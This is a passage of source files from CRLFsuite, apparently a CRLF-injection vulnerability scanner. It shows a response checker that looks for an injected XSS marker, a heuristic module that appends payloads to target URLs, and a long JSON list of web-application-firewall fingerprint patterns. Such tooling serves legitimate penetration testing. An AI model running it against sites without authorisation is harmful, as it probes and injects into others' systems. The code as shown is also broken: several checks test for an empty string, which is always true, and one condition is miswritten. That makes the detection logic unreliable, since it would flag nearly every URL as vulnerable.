67 | exporter(nout, jout, vuln_urls) 68 | else: 69 | logger.bad('No CRLF Injection found.') 70 | cleaner.clean() 71 | except Exception as e: 72 | print(e) -------------------------------------------------------------------------------- /crlfsuite/core/scanner.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | 3 | import re 4 | from crlfsuite.core import requester 5 | from crlfsuite.core.config import vuln_urls 6 | 7 | def scanner(url, method, cookie, timeout, data, ssl, headers, verbose, silent, stable, delay): 8 | """ 9 | Checks if the URL is vulnerable or not 10 | """ 11 | response = requester.do(url, 12 | method, 13 | cookie, 14 | headers, 15 | timeout, 16 | ssl, 17 | data, 18 | verbose, 19 | silent, 20 | stable, 21 | delay, 22 | ) 23 | try: 24 | text ,status_code, rheaders = response[0], response[1], response[2] 25 | except TypeError: 26 | pass 27 | if not int(status_code) >= 400: 28 | if 'nefcore' in rheaders or 'crlfsuite' in rheaders: 29 | vuln_urls.add(url) 30 | if "svg/onload=alert(innerHTML()" in text: 31 | vuln_urls.add(url) 32 | if "" in text: 33 | vuln_urls.add(url) 34 | if "" in text: 35 | vuln_urls.add(url) 36 | if "Injected Content" in text: 37 | vuln_urls.add(url) 38 | if "" in text: 39 | vuln_urls.add(url) 40 | if "" in text: 41 | vuln_urls.add(url) -------------------------------------------------------------------------------- /crlfsuite/db/wafsignatures.json: -------------------------------------------------------------------------------- 1 | { 2 | "360 Web Application Firewall (360)" : { 3 | "code" : "493", 4 | "page" : "/wzws-waf-cgi/", 5 | "headers" : "X-Powered-By-360wzb", 6 | "cookie" : "" 7 | }, 8 | "aeSecure" : { 9 | "code" : "", 10 | "page" : "aesecure_denied.png", 11 | "headers" : "aeSecure-code", 12 | "cookie" : "" 13 | }, 14 | "Airlock (Phion/Ergon)" : { 15 | "code" : "", 16 | "page" : "", 17 | "headers" : "AL[_-]?(SESS|LB)", 18 | "cookie" : "" 19 | }, 20 | "Anquanbao Web Application Firewall (Anquanbao)" : { 21 | "code" : "405", 22 | "page" : "/aqb_cc/error/|hidden_intercept_time", 23 | "headers" : "X-Powered-By-Anquanbao", 24 | "cookie" : "" 25 | }, 26 | "Armor Protection (Armor Defense)" : { 27 | "code" : "", 28 | "page" : "This request has been blocked by website protection from Armor", 29 | "headers" : "", 30 | "cookie" : "" 31 | }, 32 | "Application Security Manager (F5 Networks)" : { 33 | "code" : "", 34 | "page" : "The requested URL was rejected\\. Please consult with your administrator\\.", 35 | "headers" : "", 36 | "cookie" : "" 37 | }, 38 | "Amazon Web Services Web Application Firewall (Amazon)" : { 39 | "code" : "403", 40 | "page" : "", 41 | "headers" : "\\bAWS", 42 | "cookie" : "" 43 | }, 44 | "Yunjiasu Web Application Firewall (Baidu)" : { 45 | "code" : "", 46 | "page" : "", 47 | "headers" : "yunjiasu-nginx", 48 | "cookie" : "" 49 | }, 50 | "Barracuda Web Application Firewall (Barracuda Networks)" : { 51 | "code" : "", 52 | "page" : "", 53 | "headers" : "barra_counter_session=|(|\\b)barracuda_", 54 | "cookie" : "" 55 | }, 56 | "BIG-IP Application Security Manager (F5 Networks)" : { 57 | "code" : "", 58 | "page" : "", 59 | "headers" : "BigIP|F5\\Z|\\bTS[0-9a-f]+=|X-WA-Info:|X-Cnection:", 60 | "cookie" : "" 61 | }, 62 | "BinarySEC Web Application Firewall (BinarySEC)" : { 63 | "code" : "", 64 | "page" : "", 65 | "headers" : "binarysec", 66 | "cookie" : "" 67 | }, 68 | "BlockDoS" : { 69 | "code" : "", 70 | "page" : "", 71 | "headers" : "BlockDos\\.net", 72 | "cookie" : "" 73 | }, 74 | "ChinaCache (ChinaCache Networks)" : { 75 | "code" : "400", 76 | "page" : "", 77 | "headers" : "Powered-By-ChinaCache", 78 | "cookie" : "" 79 | }, 80 | "Cisco ACE XML Gateway (Cisco Systems)" : { 81 | "code" : "", 82 | "page" : "", 83 | "headers" : "ACE XML Gateway", 84 | "cookie" : "" 85 | }, 86 | "Cloudbric Web Application Firewall (Cloudbric)" : { 87 | "code" : "", 88 | "page" : "Cloudbric|Malicious Code Detected", 89 | "headers" : "", 90 | "cookie" : "" 91 | }, 92 | "CloudFlare Web Application Firewall (CloudFlare)" : { 93 | "code" : "", 94 | "page" : "Attention Required! \\| Cloudflare|CloudFlare Ray ID:|var CloudFlare=|CLOUDFLARE_ERROR_500S_BOX", 95 | "headers" : "cloudflare|__cfduid=|cf-ray", 96 | "cookie" : "" 97 | }, 98 | "CloudFront (Amazon)" : { 99 | "code" : "", 100 | "page" : "", 101 | "headers" : "Error from cloudfront", 102 | "cookie" : "" 103 | }, 104 | "Comodo Web Application Firewall (Comodo)" : { 105 | "code" : "", 106 | "page" : "", 107 | "headers" : "Protected by COMODO WAF", 108 | "cookie" : "" 109 | }, 110 | "CrawlProtect (Jean-Denis Brun)" : { 111 | "code" : "", 112 | "page" : "This site is protected by CrawlProtect", 113 | "headers" : "", 114 | "cookie" : "" 115 | }, 116 | "IBM WebSphere DataPower (IBM)" : { 117 | "code" : "", 118 | "page" : "", 119 | "headers" : "X-Backside-Transport.*?(OK|FAIL)", 120 | "cookie" : "" 121 | }, 122 | "Deny All Web Application Firewall (DenyAll)" : { 123 | "code" : "", 124 | "page" : "Condition Intercepted", 125 | "headers" : "sessioncookie", 126 | "cookie" : "" 127 | }, 128 | "Distil Web Application Firewall Security (Distil Networks)" : { 129 | "code" : "", 130 | "page" : "", 131 | "headers" : "x-distil-cs", 132 | "cookie" : "" 133 | }, 134 | "DOSarrest (DOSarrest Internet Security)" : { 135 | "code" : "", 136 | "page" : "", 137 | "headers" : "DOSarrest|X-DIS-Request-ID", 138 | "cookie" : "" 139 | }, 140 | "dotDefender (Applicure Technologies)" : { 141 | "code" : "", 142 | "page" : "dotDefender Blocked Your Request|]*SecureIIS Error", 281 | "headers" : "", 282 | "cookie" : "" 283 | }, 284 | "SEnginx (Neusoft Corporation)" : { 285 | "code" : "", 286 | "page" : "SENGINX-ROBOT-MITIGATION", 287 | "headers" : "", 288 | "cookie" : "" 289 | }, 290 | "TrueShield Web Application Firewall (SiteLock)" : { 291 | "code" : "", 292 | "page" : "SiteLock Incident ID|sitelock-site-verification|sitelock_shield_logo", 293 | "headers" : "", 294 | "cookie" : "" 295 | }, 296 | "SonicWALL (Dell)" : { 297 | "code" : "", 298 | "page" : "This request is blocked by the SonicWALL|#shd|#nsa_banner|Web Site Blocked.*?\\bnsa_banner", 299 | "headers" : "SonicWALL", 300 | "cookie" : "" 301 | }, 302 | "UTM Web Protection (Sophos)" : { 303 | "code" : "", 304 | "page" : "Powered by UTM Web Protection", 305 | "headers" : "", 306 | "cookie" : "" 307 | }, 308 | "Stingray Application Firewall (Riverbed / Brocade)" : { 309 | "code" : "403|500", 310 | "page" : "", 311 | "headers" : "X-Mapping-", 312 | "cookie" : "" 313 | }, 314 | "CloudProxy WebSite Firewall (Sucuri)" : { 315 | "code" : "403", 316 | "page" : "Access Denied.*?Sucuri Website Firewall|Sucuri WebSite Firewall.*?Access Denied|Questions\\?.*?cloudproxy@sucuri\\.net", 317 | "headers" : "Sucuri/Cloudproxy|X-Sucuri", 318 | "cookie" : "" 319 | }, 320 | "Tencent Cloud Web Application Firewall (Tencent Cloud Computing)" : { 321 | "code" : "405", 322 | "page" : "waf\\.tencent-cloud\\.com", 323 | "headers" : "", 324 | "cookie" : "" 325 | }, 326 | "Teros/Citrix Application Firewall Enterprise (Teros/Citrix Systems)" : { 327 | "code" : "", 328 | "page" : "", 329 | "headers" : "st8(id|_wat|_wlf)", 330 | "cookie" : "" 331 | }, 332 | "TrafficShield (F5 Networks)" : { 333 | "code" : "", 334 | "page" : "", 335 | "headers" : "F5-TrafficShield|ASINFO=", 336 | "cookie" : "" 337 | }, 338 | "UrlScan (Microsoft)" : { 339 | "code" : "", 340 | "page" : "Rejected-By-UrlScan", 341 | "headers" : "Rejected-By-UrlScan", 342 | "cookie" : "" 343 | }, 344 | "USP Secure Entry Server (United Security Providers)" : { 345 | "code" : "", 346 | "page" : "", 347 | "headers" : "Secure Entry Server", 348 | "cookie" : "" 349 | }, 350 | "Varnish FireWall (OWASP)" : { 351 | "code" : "", 352 | "page" : "Request rejected by xVarnish-WAF|\\bXID: \\d+", 353 | "headers" : "", 354 | "cookie" : "" 355 | }, 356 | "Wallarm Web Application Firewall (Wallarm)" : { 357 | "code" : "", 358 | "page" : "", 359 | "headers" : "nginx-wallarm", 360 | "cookie" : "" 361 | }, 362 | "WatchGuard (WatchGuard Technologies)" : { 363 | "code" : "", 364 | "page" : "", 365 | "headers" : "WatchGuard", 366 | "cookie" : "" 367 | }, 368 | "WebKnight Application Firewall (AQTRONIX)" : { 369 | "code" : "999", 370 | "page" : "WebKnight Application Firewall Alert|AQTRONIX WebKnight", 371 | "headers" : "WebKnight", 372 | "cookie" : "" 373 | }, 374 | "Wordfence (Feedjit)" : { 375 | "code" : "", 376 | "page" : "This response was generated by Wordfence|Your access to this site has been limited", 377 | "headers" : "", 378 | "cookie" : "" 379 | }, 380 | "Zenedge Web Application Firewall (Zenedge)" : { 381 | "code" : "", 382 | "page" : "zenedge/assets/", 383 | "headers" : "ZENEDGE", 384 | "cookie" : "" 385 | }, 386 | "Yundun Web Application Firewall (Yundun)" : { 387 | "code" : "", 388 | "page" : "", 389 | "headers" : "YUNDUN", 390 | "cookie" : "" 391 | }, 392 | "Yunsuo Web Application Firewall (Yunsuo)" : { 393 | "code" : "", 394 | "page" : "requested url cannot be found|we are sorry.{0,10}?but the page you are looking for cannot be found|back to previous page|proceed to homepage|reference id", 407 | "headers" : "", 408 | "cookie" : "" 409 | }, 410 | "AliYunDun (Alibaba Cloud Computing)" : { 411 | "code" : "405", 412 | "page" : "error(s)?\\.aliyun(dun)?\\.(com|net)?|cdn\\.aliyun(cs)?\\.com", 413 | "headers" : "", 414 | "cookie" : "aliyungf_tc=" 415 | }, 416 | "AnYu (AnYu Technologies)" : { 417 | "code" : "", 418 | "page" : "anyu.{0,10}?the green channel|your access has been intercepted by anyu", 419 | "headers" : "", 420 | "cookie" : "" 421 | }, 422 | "Approach" : { 423 | "code" : "", 424 | "page" : "approach.{0,10}?web application (firewall|filtering)|approach.{0,10}?infrastructure team", 425 | "headers" : "", 426 | "cookie" : "" 427 | }, 428 | "ArvanCloud" : { 429 | "code" : "", 430 | "page" : "", 431 | "headers" : "ArvanCloud", 432 | "cookie" : "" 433 | }, 434 | "ASPA Firewall (ASPA Engineering Co.)" : { 435 | "code" : "", 436 | "page" : "", 437 | "headers" : "ASPA[\\-_]?WAF|ASPA-Cache-Status", 438 | "cookie" : "" 439 | }, 440 | "ASP.NET Generic (Microsoft)" : { 441 | "code" : "", 442 | "page" : "iis (\\d+.)+?detailed error|potentially dangerous request querystring|application error from being viewed remotely (for security reasons)?|An application error occurred on the server", 443 | "headers" : "", 444 | "cookie" : "" 445 | }, 446 | "Astra (Czar Securities)" : { 447 | "code" : "", 448 | "page" : "astrawebsecurity\\.freshdesk\\.com|www\\.getastra\\.com/assets/images", 449 | "headers" : "", 450 | "cookie" : "cz_astra_csrf_cookie" 451 | }, 452 | "AWS Elastic Load Balancer (Amazon)" : { 453 | "code" : "", 454 | "page" : "", 455 | "headers" : "X-AMZ-ID|X-AMZ-Request-ID", 456 | "cookie" : "aws.?alb=" 457 | }, 458 | "AzionCDN (AzionCDN)" : { 459 | "code" : "", 460 | "page" : "", 461 | "headers" : "Azion([-_]CDN)?", 462 | "cookie" : "" 463 | }, 464 | "Barikode (Ethic Ninja)" : { 465 | "code" : "", 466 | "page" : "barikode<.strong>", 467 | "headers" : "", 468 | "cookie" : "" 469 | }, 470 | "Bekchy (Faydata Technologies Inc.)" : { 471 | "code" : "", 472 | "page" : "Bekchy.{0,10}?Access Denied|bekchy\\.com/report", 473 | "headers" : "", 474 | "cookie" : "" 475 | }, 476 | "Beluga CDN (Beluga)" : { 477 | "code" : "", 478 | "page" : "", 479 | "headers" : "Beluga", 480 | "cookie" : "beluga_request_trail=" 481 | }, 482 | "BitNinja" : { 483 | "code" : "", 484 | "page" : "Security check by BitNinja|Visitor anti-robot validation", 485 | "headers" : "", 486 | "cookie" : "" 487 | }, 488 | "Bluedon (Bluedon IST)" : { 489 | "code" : "", 490 | "page" : "bluedon web application firewall", 491 | "headers" : "BDWAF", 492 | "cookie" : "" 493 | }, 494 | "BulletProof Security Pro (AITpro Security)" : { 495 | "code" : "", 496 | "page" : "\\+?bpsMessage|403 Forbidden Error Page|If you arrived here due to a search", 497 | "headers" : "", 498 | "cookie" : "" 499 | }, 500 | "CacheFly CDN (CacheFly)" : { 501 | "code" : "", 502 | "page" : "", 503 | "headers" : "Cachefly", 504 | "cookie" : "cfly_req.*=" 505 | }, 506 | "CacheWall (Varnish)" : { 507 | "code" : "", 508 | "page" : "security by cachewall|403 naughty.{0,10}?not nice!|varnish cache server", 509 | "headers" : "Varnish|X-Varnish|X-Cachewall-Action|X-Cachewall-Reason", 510 | "cookie" : "" 511 | }, 512 | "CdnNS Application Gateway (CdnNs/WdidcNet)" : { 513 | "code" : "", 514 | "page" : "cdnnswaf application gateway", 515 | "headers" : "", 516 | "cookie" : "" 517 | }, 518 | "WP Cerber Security (Cerber Tech" : { 519 | "code" : "", 520 | "page" : "your request looks suspicious or similar to automated|our server stopped processing your request|We.re sorry.{0,10}?you are not allowed to proceed|requests from spam posting software|403 Access Forbidden", 521 | "headers" : "", 522 | "cookie" : "" 523 | }, 524 | "Chuang Yu Shield (Yunaq)" : { 525 | "code" : "", 526 | "page" : "www\\.365cyd\\.com|help\\.365cyd\\.com/cyd\\-error\\-help.html\\?code=403", 527 | "headers" : "", 528 | "cookie" : "" 529 | }, 530 | "ACE XML Gateway (Cisco)" : { 531 | "code" : "", 532 | "page" : "", 533 | "headers" : "ACE XML Gateway", 534 | "cookie" : "" 535 | }, 536 | "Cloudfloor (Cloudfloor DNS)" : { 537 | "code" : "", 538 | "page": "<(title|h\\d{1})>CloudfloorDNS.{0,6}?Web Application Firewall Error|www\\.cloudfloordns\\.com/contact", 539 | "headers" : "CloudfloorDNS(.WAF)?", 540 | "cookie" : "" 541 | }, 542 | "Cloud Protector (Rohde & Schwarz CyberSecurity)" : { 543 | "code" : "", 544 | "page" : "Cloud Protector.*?by Rohde.{3,8}?Schwarz Cybersecurity|<a href='https?:\/\/(?:www\\.)?cloudprotector\\.com\/'>R.{1,6}?S.Cloud Protector", 545 | "headers" : "", 546 | "cookie" : "" 547 | }, 548 | "DDoS-GUARD (DDOS-GUARD CORP.)" : { 549 | "code" : "", 550 | "page" : "", 551 | "headers" : "ddos-guard", 552 | "cookie" : "__ddg1.*?=|__ddg2.*?=|__ddgid.*?=|__ddgmark.*?=" 553 | }, 554 | "Distil (Distil Networks)" : { 555 | "code" : "", 556 | "page" : "cdn\\.distilnetworks\\.com/images/anomaly\\.detected\\.png|distilCaptchaForm|distilCallbackGuard", 557 | "headers" : "", 558 | "cookie" : "" 559 | }, 560 | "DynamicWeb Injection Check (DynamicWeb)" : { 561 | "code" : "", 562 | "page" : "by dynamic check(.{0,10}?module)?", 563 | "headers" : "dw.inj.check", 564 | "cookie" : "" 565 | }, 566 | "Eisoo Cloud Firewall (Eisoo)" : { 567 | "code" : "", 568 | "page" : "<link.{0,10}?href=\"/eisoo\\-firewall\\-block\\.css|www\\.eisoo\\.com|© \\d{4} Eisoo In", 569 | "headers" : "EisooWAF(\\-AZURE)?/?", 570 | "cookie" : "" 571 | }, 572 | "Azure Front Door (Microsoft)" : { 573 | "code" : "", 574 | "page" : "", 575 | "headers" : "X-Azure-Ref", 576 | "cookie" : "" 577 | }, 578 | "GoDaddy Website Protection (GoDaddy)" : { 579 | "code" : "", 580 | "page" : "GoDaddy (security|website firewall)", 581 | "headers" : "", 582 | "cookie" : "" 583 | }, 584 | "Greywizard" : { 585 | "code" : "", 586 | "page" : "<(title|h\\d{1})>Grey Wizard|contact the website owner or Grey Wizard|We.ve detected attempted attack or non standard traffic from your ip address", 587 | "headers" : "greywizard", 588 | "cookie" : "" 589 | }, 590 | "Huawei Cloud Firewall (Huawei)" : { 591 | "code" : "", 592 | "page" : "hwclouds\\.com|hws_security@", 593 | "headers" : "HuaweiCloudWAF", 594 | "cookie" : "HWWAFSESID=" 595 | }, 596 | "DataPower (IBM)" : { 597 | "code" : "", 598 | "page" : "", 599 | "headers" : "X-Backside-Transport", 600 | "cookie" : "" 601 | }, 602 | "Imunify360 (CloudLinux)" : { 603 | "code" : "", 604 | "page" : "protected.by.{0,10}?imunify360|powered.by.{0,10}?imunify360|imunify360.preloader", 605 | "headers" : "imunify360.{0,10}?", 606 | "cookie" : "" 607 | }, 608 | "IndusGuard (Indusface)" : { 609 | "code" : "", 610 | "page" : "This website is secured against online attacks. Your request was blocked", 611 | "headers" : "IF_WAF", 612 | "cookie" : "" 613 | }, 614 | "Instart DX (Instart Logic)" : { 615 | "code" : "", 616 | "page" : "the requested url was rejected|please consult with your administrator|your support id is", 617 | "headers": "X-Instart-Request-ID|X-Instart-Cache|X-Instart-WL", 618 | "cookie" : "" 619 | }, 620 | "Janusec Application Gateway (Janusec)" : { 621 | "code" : "", 622 | "page" : "janusec application gateway", 623 | "headers" : "", 624 | "cookie" : "" 625 | }, 626 | "KeyCDN" : { 627 | "code" : "", 628 | "page" : "", 629 | "headers" : "KeyCDN", 630 | "cookie" : "" 631 | }, 632 | "LimeLight CDN (LimeLight)" : { 633 | "code" : "", 634 | "page" : "", 635 | "headers" : "", 636 | "cookie" : "l[mg]_sessid=|limelight" 637 | }, 638 | "LiteSpeed (LiteSpeed Technologies)" : { 639 | "code" : "403", 640 | "page" : "Proudly powered by litespeed web server|www\\.litespeedtech\\.com/error\\-page", 641 | "headers" : "LiteSpeed", 642 | "cookie" : "" 643 | }, 644 | "Malcare (Inactiv)" : { 645 | "code" : "", 646 | "page" : "firewall.{0,15}?powered.by.{0,15}?malcare.{0,15}?pro|blocked because of malicious activities", 647 | "headers" : "", 648 | "cookie" : "" 649 | }, 650 | "MaxCDN" : { 651 | "code" : "", 652 | "page" : "", 653 | "headers" : "maxcdn", 654 | "cookie" : "" 655 | }, 656 | "Mission Control Shield (Mission Control)" : { 657 | "code" : "", 658 | "page" : "", 659 | "headers" : "Mission Control Application Shield", 660 | "cookie" : "" 661 | }, 662 | "Nemesida (PentestIt)" : { 663 | "code" : "222", 664 | "page" : "@?nemesida(\\-security)?\\.com|Suspicious activity detected.{0,10}?Access to the site is blocked|nwaf@", 665 | "headers" : "", 666 | "cookie" : "" 667 | }, 668 | "NevisProxy (AdNovum)" : { 669 | "code" : "", 670 | "page" : "", 671 | "headers" : "", 672 | "cookie" : "Navajo|NP_ID" 673 | }, 674 | "NexusGuard Firewall (NexusGuard)" : { 675 | "code" : "", 676 | "page" : "Powered by Nexusguard|nexusguard\\.com/wafpage/.+#\\d{3};", 677 | "headers" : "", 678 | "cookie" : "" 679 | }, 680 | "NinjaFirewall (NinTechNet)" : { 681 | "code" : "", 682 | "page" : "<title>NinjaFirewall.{0,10}?\\d{3}.forbidden|For security reasons?.{0,10}?it was blocked and logged", 683 | "headers" : "", 684 | "cookie" : "" 685 | }, 686 | "NSFocus (NSFocus Global Inc.)" : { 687 | "code" : "", 688 | "page" : "", 689 | "headers" : "NSFocus", 690 | "cookie" : "" 691 | }, 692 | "NullDDoS Protection (NullDDoS)" : { 693 | "code" : "", 694 | "page" : "", 695 | "headers" : "NullDDoS(.System)?", 696 | "cookie" : "" 697 | }, 698 | "OnMessage Shield (BlackBaud)" : { 699 | "code" : "", 700 | "page" : "Blackbaud K\\-12 conducts routine maintenance|onMessage SHEILD|maintenance\\.blackbaud\\.com|status\\.blackbaud\\.com", 701 | "headers" : "onMessage Shield", 702 | "cookie" : "" 703 | }, 704 | "Open-Resty Lua Nginx (FLOSS)" : { 705 | "code" : "406", 706 | "page" : "openresty/[0-9\\.]+?", 707 | "headers" : "openresty/[0-9\\.]+?", 708 | "cookie" : "" 709 | }, 710 | "PentaWAF (Global Network Services)" : { 711 | "code" : "", 712 | "page" : "Penta.?Waf/[0-9\\.]+?.server", 713 | "headers" : "PentaWaf(/[0-9\\.]+)?", 714 | "cookie" : "" 715 | }, 716 | "PerimeterX" : { 717 | "code" : "", 718 | "page" : "www\\.perimeterx\\.(com|net)/whywasiblocked|client\\.perimeterx\\.(net|com)|denied because we believe you are using automation tools", 719 | "headers" : "", 720 | "cookie" : "" 721 | }, 722 | "pkSecurity IDS (pkSec)" : { 723 | "code" : "", 724 | "page" : "pk.?Security.?Module|Security.Alert|As this could be a potential hack attack|A safety critical (call|request) was (detected|discovered) and blocked|maximum number of reloads per minute and prevented access", 725 | "headers" : "", 726 | "cookie" : "" 727 | }, 728 | "PowerCDN" : { 729 | "code" : "", 730 | "page" : "", 731 | "headers" : "(.*)?powercdn.com(.*)?|(.*)?powercdn.com(.*)?|PowerCDN", 732 | "cookie" : "" 733 | }, 734 | "PT Application Firewall (Positive Technologies)" : { 735 | "code" : "", 736 | "page" : "<h1.{0,10}?Forbidden|<pre>Request.ID:.{0,10}?\\d{4}\\-(\\d{2})+.{0,35}?pre>", 737 | "headers" : "", 738 | "cookie" : "" 739 | }, 740 | "Puhui" : { 741 | "code" : "", 742 | "page" : "", 743 | "headers" : "Puhui[\\-_]?WAF", 744 | "cookie" : "" 745 | }, 746 | "Qcloud (Tencent Cloud)" : { 747 | "code" : "403", 748 | "page" : "腾讯云Web应用防火墙", 749 | "headers" : "", 750 | "cookie" : "" 751 | }, 752 | "Qiniu (Qiniu CDN)" : { 753 | "code" : "", 754 | "page" : "", 755 | "headers" : "X-Qiniu-CDN", 756 | "cookie" : "" 757 | }, 758 | "Qrator" : { 759 | "code" : "", 760 | "page" : "", 761 | "headers" : "QRATOR", 762 | "cookie" : "" 763 | }, 764 | "RSFirewall (RSJoomla!)" : { 765 | "code" : "", 766 | "page" : "com_rsfirewall_(\\d{3}_forbidden|event)?", 767 | "headers" : "", 768 | "cookie" : "" 769 | }, 770 | "Sabre Firewall (Sabre)" : { 771 | "code" : "", 772 | "page" : "dxsupport\\.sabre\\.com|<title>Application Firewall Error|add some important details to the email for us to investigate", 773 | "headers" : "", 774 | "cookie" : "" 775 | }, 776 | "Safeline (Chaitin Tech.)" : { 777 | "code" : "", 778 | "page" : "safeline|<!\\-\\-\\sevent id:", 779 | "headers" : "", 780 | "cookie" : "" 781 | }, 782 | "SecKing (SecKing)" : { 783 | "code" : "", 784 | "page" : "", 785 | "headers" : "secking(.?waf)?", 786 | "cookie" : "" 787 | }, 788 | "SecuPress WP Security (SecuPress)" : { 789 | "code" : "", 790 | "page" : "<(title|h\\d{1})>SecuPress", 791 | "headers" : "", 792 | "cookie" : "" 793 | }, 794 | "Secure Entry (United Security Providers)" : { 795 | "code" : "", 796 | "page" : "", 797 | "headers" : "Secure Entry Server", 798 | "cookie" : "" 799 | }, 800 | "SecureSphere (Imperva Inc.)" : { 801 | "code" : "", 802 | "page" : "<(title|h2)>Error|The incident ID is|This page can't be displayed|Contact support for additional information", 803 | "headers" : "", 804 | "cookie" : "" 805 | }, 806 | "ServerDefender VP (Port80 Software)" : { 807 | "code" : "", 808 | "page" : "", 809 | "headers" : "p(ort\\-)?80", 810 | "cookie" : "" 811 | }, 812 | "Shadow Daemon (Zecure)" : { 813 | "code" : "", 814 | "page" : "<h\\d{1}>\\d{3}.forbidden<.h\\d{1}>|request forbidden by administrative rules", 815 | "headers" : "", 816 | "cookie" : "" 817 | }, 818 | "Shield Security (One Dollar Plugin)" : { 819 | "code" : "", 820 | "page" : "You were blocked by the Shield|remaining transgression\\(s\\) against this site|Something in the URL.{0,5}?Form or Cookie data wasn\\'t appropriate", 821 | "headers" : "", 822 | "cookie" : "" 823 | }, 824 | "SiteGuard (Sakura Inc.)" : { 825 | "code" : "", 826 | "page" : "Powered by SiteGuard|The server refuse to browse the page", 827 | "headers" : "", 828 | "cookie" : "" 829 | }, 830 | "SiteGround" : { 831 | "code" : "", 832 | "page" : "Our system thinks you might be a robot!|access is restricted due to a security rule", 833 | "headers" : "", 834 | "cookie" : "" 835 | }, 836 | "Squarespace (Squarespace)" : { 837 | "code" : "", 838 | "page" : "status\\.squarespace\\.com|BRICK\\-\\d{2}", 839 | "headers" : "Squarespace", 840 | "cookie" : "SS_ANALYTICS_ID=|SS_MATTR=|SS_MID=|SS_CVT=" 841 | }, 842 | "SquidProxy IDS (SquidProxy)" : { 843 | "code" : "", 844 | "page" : "", 845 | "headers" : "squid(/[0-9\\.]+)?", 846 | "cookie" : "Access control configuration prevents your request" 847 | }, 848 | "StackPath" : { 849 | "code" : "", 850 | "page" : "This website is using a security service to protect itself|You performed an action that triggered the service and blocked your request", 851 | "headers" : "", 852 | "cookie" : "" 853 | }, 854 | "TransIP Web Firewall (TransIP)" : { 855 | "code" : "", 856 | "page" : "", 857 | "headers" : "X-TransIP-Backend|X-TransIP-Balancer", 858 | "cookie" : "" 859 | }, 860 | "UEWaf (UCloud)" : { 861 | "code" : "", 862 | "page" : "/uewaf_deny_pages/default/img/|ucloud\\.cn", 863 | "headers" : "uewaf(/[0-9\\.]+)?", 864 | "cookie" : "" 865 | }, 866 | "URLMaster SecurityCheck (iFinity/DotNetNuke)" : { 867 | "code" : "", 868 | "page" : "Ur[li]RewriteModule|SecurityCheck", 869 | "headers" : "X-UrlMaster-Debug|X-UrlMaster-Ex", 870 | "cookie" : "" 871 | }, 872 | "Viettel (Cloudrity)" : { 873 | "code" : "", 874 | "page" : "Access Denied.{0,10}?Viettel WAF|cloudrity\\.com\\.(vn)?/|Viettel WAF System", 875 | "headers" : "", 876 | "cookie" : "" 877 | }, 878 | "VirusDie (VirusDie LLC)" : { 879 | "code" : "", 880 | "page" : "cdn\\.virusdie\\.ru/splash/firewallstop\\.png|copy.{0,10}?Virusdie\\.ru", 881 | "headers" : "", 882 | "cookie" : "" 883 | }, 884 | "WebARX (WebARX Security Solutions)" : { 885 | "code" : "", 886 | "page" : "WebARX.{0,10}?Web Application Firewall|www\\.webarxsecurity\\.com|/wp\\-content/plugins/webarx/includes/", 887 | "headers" : "", 888 | "cookie" : "" 889 | }, 890 | "WebLand" : { 891 | "code" : "", 892 | "page" : "", 893 | "headers" : "protected by webland", 894 | "cookie" : "" 895 | }, 896 | "RayWAF (WebRay Solutions)" : { 897 | "code" : "", 898 | "page" : "", 899 | "headers" : "WebRay\\-WAF|RaySrv.RayEng/[0-9\\.]+?", 900 | "cookie" : "" 901 | }, 902 | "WebSEAL (IBM)" : { 903 | "code" : "", 904 | "page" : "This is a WebSEAL error message template file|WebSEAL server received an invalid HTTP request", 905 | "headers" : "WebSEAL", 906 | "cookie" : "" 907 | }, 908 | "WebTotem" : { 909 | "code" : "", 910 | "page" : "The current request was blocked.{0,8}?>WebTotem", 911 | "headers" : "", 912 | "cookie" : "" 913 | }, 914 | "West263 CDN" : { 915 | "code" : "", 916 | "page" : "", 917 | "headers" : "WS?T263CDN", 918 | "cookie" : "" 919 | }, 920 | "wpmudev WAF (Incsub)" : { 921 | "code" : "403", 922 | "page" : "Click on the Logs tab, then the WAF Log.|Choose your site from the list|<h1>Whoops, this request has been blocked!|This request has been deemed suspicious|possible attack on our servers.", 923 | "headers" : "", 924 | "cookie" : "" 925 | }, 926 | "WTS-WAF (WTS)" : { 927 | "code" : "", 928 | "page" : "<(title|h\\d{1})>WTS\\-WAF", 929 | "headers" : "wts/[0-9\\.]+?", 930 | "cookie" : "" 931 | }, 932 | "360WangZhanBao (360 Technologies)" : { 933 | "code" : "493", 934 | "page" : "wzws\\-waf\\-cgi|wangshan\\.360\\.cn", 935 | "headers" : "qianxin\\-waf|WZWS-Ray|X-Powered-By-360WZB", 936 | "cookie" : "" 937 | }, 938 | "XLabs Security WAF (XLabs)" : { 939 | "code" : "", 940 | "page" : "", 941 | "headers" : "XLabs Security|By XLabs Security", 942 | "cookie" : "" 943 | }, 944 | "Xuanwudun" : { 945 | "code" : "", 946 | "page" : "admin\\.dbappwaf\\.cn/(index\\.php/Admin/ClientMisinform/)?|class=.(db[\\-_]?)?waf(.)?([\\-_]?row)?>", 947 | "headers" : "", 948 | "cookie" : "" 949 | }, 950 | "YXLink (YxLink Technologies)" : { 951 | "code" : "", 952 | "page" : "", 953 | "headers" : "Yxlink([\\-_]?WAF)?", 954 | "cookie" : "yx_ci_session=|yx_language=" 955 | } 956 | } -------------------------------------------------------------------------------- /crlfsuite/plugins/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Raghavd3v/CRLFsuite/b4a0f8f05239ac8d32a7043abd17acf5a5710e1c/crlfsuite/plugins/__init__.py -------------------------------------------------------------------------------- /crlfsuite/plugins/heuristic.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | 3 | from urllib.parse import urlparse 4 | from crlfsuite.core import requester 5 | from crlfsuite.core.config import heuristic_result 6 | 7 | def heuristic_scanner(url, payload, method, cookie, headers, timeout, ssl, data, verbose, silent, stable, delay): 8 | """ 9 | A basic scan to check if the URL is vulnerable or not 10 | """ 11 | url = url.strip() 12 | scheme, host = urlparse(url).scheme, urlparse(url).netloc 13 | url = (scheme+'://'+host) 14 | if not url.endswith('/'): 15 | url = url+'/' 16 | final_url = (url+payload) 17 | response = requester.do(final_url, method, cookie, headers, timeout, ssl, 18 | data, 19 | verbose, 20 | silent, 21 | stable, 22 | delay 23 | ) 24 | try: 25 | code, rheaders = response[1], str(response[2]) 26 | if not int(code) >= 400: 27 | if 'nefcore' and 'crlfsuite' in rheaders: 28 | heuristic_result.add(final_url) 29 | except TypeError: 30 | pass -------------------------------------------------------------------------------- /crlfsuite/plugins/wafDetector.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | 3 | import re 4 